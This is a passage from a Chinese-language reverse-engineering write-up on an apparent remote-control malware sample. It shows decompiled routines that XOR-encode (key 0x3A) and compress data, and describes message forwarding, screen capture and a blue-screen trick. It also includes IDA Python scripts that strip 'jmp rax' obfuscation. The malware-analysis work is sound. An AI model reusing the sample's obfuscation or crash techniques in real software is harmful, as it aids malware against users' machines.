(v3[5])(v3, v9, 56);
(v3[5])(v3, &v12, 4);
v4 = a1[6];
v5 = (v3[6])(v3);
v6 = (v3[7])(v3, 0);
v7 = v4(a1, v6, v5);
free_0(v3);
return v7;
}

那么就是调用了v2[6],实现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
__int64 __fastcall CryEvent(__int64 rcx0, __int64 a2, unsigned int a3)
{
_QWORD *v6; // rsi
__int64 n56; // rbx
unsigned int v8; // edi
__int64 v9; // r15
__int64 v10; // rax
__int64 v11; // r14
_BYTE *v13; // rax
unsigned int v14; // eax
__int64 v15; // rax
__int64 v16; // r15
unsigned int v17; // eax
__int64 (__fastcall *v18)(_QWORD, __int64, _QWORD); // rdi
unsigned int v19; // ebx
__int64 v20; // rax
unsigned int v21; // ebx
__int64 v22; // rdx
__int64 v23; // r8
__int64 (__fastcall *v24)(_QWORD, __int64, _QWORD); // rdi
unsigned int v25; // ebx
__int64 v26; // rax
char a1[16]; // [rsp+20h] [rbp-40h] BYREF
__int128 v28; // [rsp+30h] [rbp-30h]
__int128 v29; // [rsp+40h] [rbp-20h]
__int64 v30; // [rsp+50h] [rbp-10h]
unsigned int v31; // [rsp+A0h] [rbp+40h] BYREF

v6 = new_malloc_0();
(v6[5])(v6, a2, a3);
*a1 = 0;
v30 = 0;
v28 = 0;
v29 = 0;
(v6[4])(v6, a1, 56);
n56 = 0;
v8 = a3 - 56;
if ( v8 )
{
v9 = v8;
v10 = (kernel32_VirtualAlloc)(0, v8, 4096, 4);
v11 = v10;
if ( !v10 )
{
free_2(v6);
return 0xFFFFFFFFLL;
}
(v6[4])(v6, v10, v8);
if ( DWORD1(v29) != 536887297 && DWORD1(v29) != 536932353 && v8 > 0 )
{
v13 = v11;
do
{
*v13++ ^= 0x3Au;
--v9;
}
while ( v9 );
}
v14 = (loc_180037658)(v8);
v31 = v14;
if ( !v14 )
{
free_0(v6);
return 0xFFFFFFFFLL;
}
v15 = (kernel32_VirtualAlloc)(0, v14, 4096, 4);
v16 = v15;
if ( !v15 )
{
(kernel32_VirtualFree)(v11, 0, 0x8000);
free_8(v6);
return 0xFFFFFFFFLL;
}
sub_18003754C(v15, &v31, v11, v8);
HIDWORD(v29) = v31;
(v6[3])(v6);
RandAscii(a1);
do
a1[n56++] ^= 0x3Au;
while ( n56 < 56 );
(v6[5])(v6, a1, 56);
(v6[5])(v6, v16, v31);
v17 = (v6[6])(v6);
v18 = *(rcx0 + 8);
v19 = v17;
v20 = (v6[7])(v6, 0);
v21 = v18(*(rcx0 + 112), v20, v19);
free_5(v6, v22, v23);
(kernel32_VirtualFree)(v16, 0, 0x8000);
(kernel32_VirtualFree)(v11, 0, 0x8000);
}
else
{
HIDWORD(v29) = 0;
RandAscii(a1);
do
a1[n56++] ^= 0x3Au;
while ( n56 < 56 );
(v6[5])(v6, a1, 56);
v24 = *(rcx0 + 8);
v25 = (v6[6])(v6);
v26 = (v6[7])(v6, 0);
v21 = v24(*(rcx0 + 112), v26, v25);
free_6(v6);
}
return v21;
}

这里就是处理一些数据,然后返回,返回后调用v2[3]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall WorkEvent(__int64 a1)
{
unsigned int v2; // esi
int v3; // eax
_QWORD *v4; // rdi
_QWORD **v5; // rcx
__int64 (__fastcall *v6)(_QWORD *); // rax

v2 = 0;
if ( *(a1 + 120) )
(kernel32_SetEvent)();
kernel32_Sleep(100);
v3 = *(a1 + 152);
v4 = *(a1 + 112);
if ( v3 == 1 )
{
v5 = v4[1];
LABEL_5:
v6 = RtlSearchCriticalSection(v5, 5);
goto LABEL_9;
}
if ( !v3 )
{
v5 = v4[7];
goto LABEL_5;
}
v6 = v4[24];
LABEL_9:
if ( v6 )
v2 = v6(v4);
(kernel32_SetEvent)(*(a1 + 136));
if ( *(a1 + 176) )
*(a1 + 176) = 0;
if ( *(a1 + 88) )
*(a1 + 88) = 0;
return v2;
}

这里做的主要是网络连接的连接发送接收等,感觉是初始化的,比较底层不深究了,看另外两个方向

18的实现是将所有的windows消息发送给客户端

19负责实现ScreenManager

关于分析蓝屏部分:

检测进程名

设置进程属性导致蓝屏

一些用到的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import idc, idautils, idaapi
import ida_dbg
class TraceHook(ida_dbg.DBG_Hooks):
def dbg_bpt(self, tid, ea):
print(f"[TRACE] Breakpoint hit at {hex(ea)}")

rax_val = idc.get_reg_value("rax")
rip_val = idc.get_reg_value("rip")

jmp_val = rax_val - rip_val - 2

print(hex(jmp_val))

patch_byte(rip_val - 3, 0xE9)
patch_dword(rip_val - 2, jmp_val)

idc.set_reg_value(rax_val, "rip")
return 0

trace_hook = TraceHook()
trace_hook.hook()

def is_indirect_jmp(ea):
mnem = idc.print_insn_mnem(ea)
if mnem != "jmp":
return False
op = idc.print_operand(ea, 0)
if "rax" in op:
return True
return False

def set_bpts_on_all_jmprax(start, end):
count = 0
for ea in idautils.Heads(start, end):
if is_indirect_jmp(ea):
if ida_dbg.add_bpt(ea):
print(f"Added breakpoint at {hex(ea)} -> op: {idc.print_operand(ea,0)}")
count += 1
print("Done. breakpoints added:", count)

set_bpts_on_all_jmprax(0x0000000180001000, 0x0000000180001251)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# IDA Python 脚本
# 作用:在 start_ea..end_ea 范围内:
# 1) 将所有 "jmp rax" 指令用 NOP 覆盖(按原始字节长度)
# 2) 将所有目标为 end_ea 的跳转/调用指令也用 NOP 覆盖
# 3) 最后对整个区间 undefine(del_items)并在 start_ea 处 add_func
#
# 使用:修改 start_ea, end_ea 后运行
# 小心:会直接 patch 二进制,请事先备份 IDB / 文件

import idaapi
import idc
import ida_bytes
import idautils

# --------- 配置区域(请改为你自己的地址)---------
start_ea = 0x0000000180001260 # 起始地址(包含)
end_ea = 0x0000000180001DF8 # 结束地址(包含)
PATCH_BYTES = True # True:实际写入 0x90;False:只做 undef/create_insn,不写字节
# ----------------------------------------------------

def patch_with_nops(ea, size):
"""用 0x90 覆盖 [ea, ea+size) 并尝试把每个字节创建为指令 (nop)"""
if size <= 0:
return
if PATCH_BYTES:
for i in range(size):
ida_bytes.patch_byte(ea + i, 0x90)
# 先删除原来的定义,然后把每个字节尝试创建为指令(这样 IDA 会显示为多个 nop)
idc.del_items(ea, size, idc.DELIT_SIMPLE)
for i in range(size):
# create_insn 返回 1 表示成功
idc.create_insn(ea + i)

def is_jump_to_target(ea, target):
"""判断指令 ea 是否是跳转/调用且目标等于 target。支持直接/相对立即数目标。"""
try:
# 对于常见分支/调用/跳转,operand 0 的值通常是目标地址(对相对立即数会被解析)
val = idc.get_operand_value(ea, 0)
if val == target:
return True
except Exception:
pass
# 作为补充,检查操作数文本中是否有十六进制目标(字符串匹配)
op0 = idc.print_operand(ea, 0)
if op0 is not None and hex(target).lower() in op0.lower():
return True
return False

def main():
if start_ea > end_ea:
print("错误:start_ea 大于 end_ea")
return

total_jmps = 0
total_target_jumps = 0
patched_ranges = []

# 遍历指定范围的所有 head(定义的 item:代码或数据)
for ea in idautils.Heads(start_ea, end_ea + 1):
mnem = idc.print_insn_mnem(ea)
# 1) 找到 jmp rax
if mnem.lower() == "jmp":
op0 = idc.print_operand(ea, 0) or ""
# 检查操作数是否包含 'rax' (覆盖大小写)
if "rax" in op0.lower():
size = idc.get_item_size(ea)
print("[NOP jmp rax] 0x%X size=%d" % (ea, size))
patch_with_nops(ea, size)
total_jmps += 1
patched_ranges.append((ea, size, "jmp rax"))
# 继续到下一个 head(注意:已把该区域覆写)
continue

# 2) 找到指令目标为 end_ea 的跳转/调用等
# 我们包括: jmp, je, jne, ja, jb, call 等(使用通用检测)
if mnem:
# 只处理可能带目标操作数的指令(跳转/调用/分支)
# 通用方法:尝试用 get_operand_value 获取目标,并与 end_ea 比较
try:
if is_jump_to_target(ea, end_ea):
size = idc.get_item_size(ea)
print("[NOP -> end] 0x%X (%s) size=%d" % (ea, mnem, size))
patch_with_nops(ea, size)
total_target_jumps += 1
patched_ranges.append((ea, size, "to_end"))
except Exception as e:
# 忽略读取错误
print("检查指令 0x%X 时出错: %s" % (ea, str(e)))

# 最后,对整个 start..end 区域 undefine(del_items)然后创建函数
length = end_ea - start_ea + 1
print("将整个区间 0x%X - 0x%X (%d bytes) 进行 undefine 并添加函数..." % (start_ea, end_ea, length))
idc.del_items(start_ea, length, idc.DELIT_SIMPLE)
# 尝试添加函数
if not idc.add_func(start_ea):
# 如果 add_func 失败,尝试 create_func (老版 API)
try:
idc.create_func(start_ea)
except Exception:
pass

print("完成:")
print(" jmp rax 被 NOP 的数量:%d" % total_jmps)
print(" 跳向 end_ea 被 NOP 的数量:%d" % total_target_jumps)
print(" 具体修改列表(ea, size, reason):")
for item in patched_ranges:
print(" 0x%X size=%d %s" % item)

if __name__ == "__main__":
main()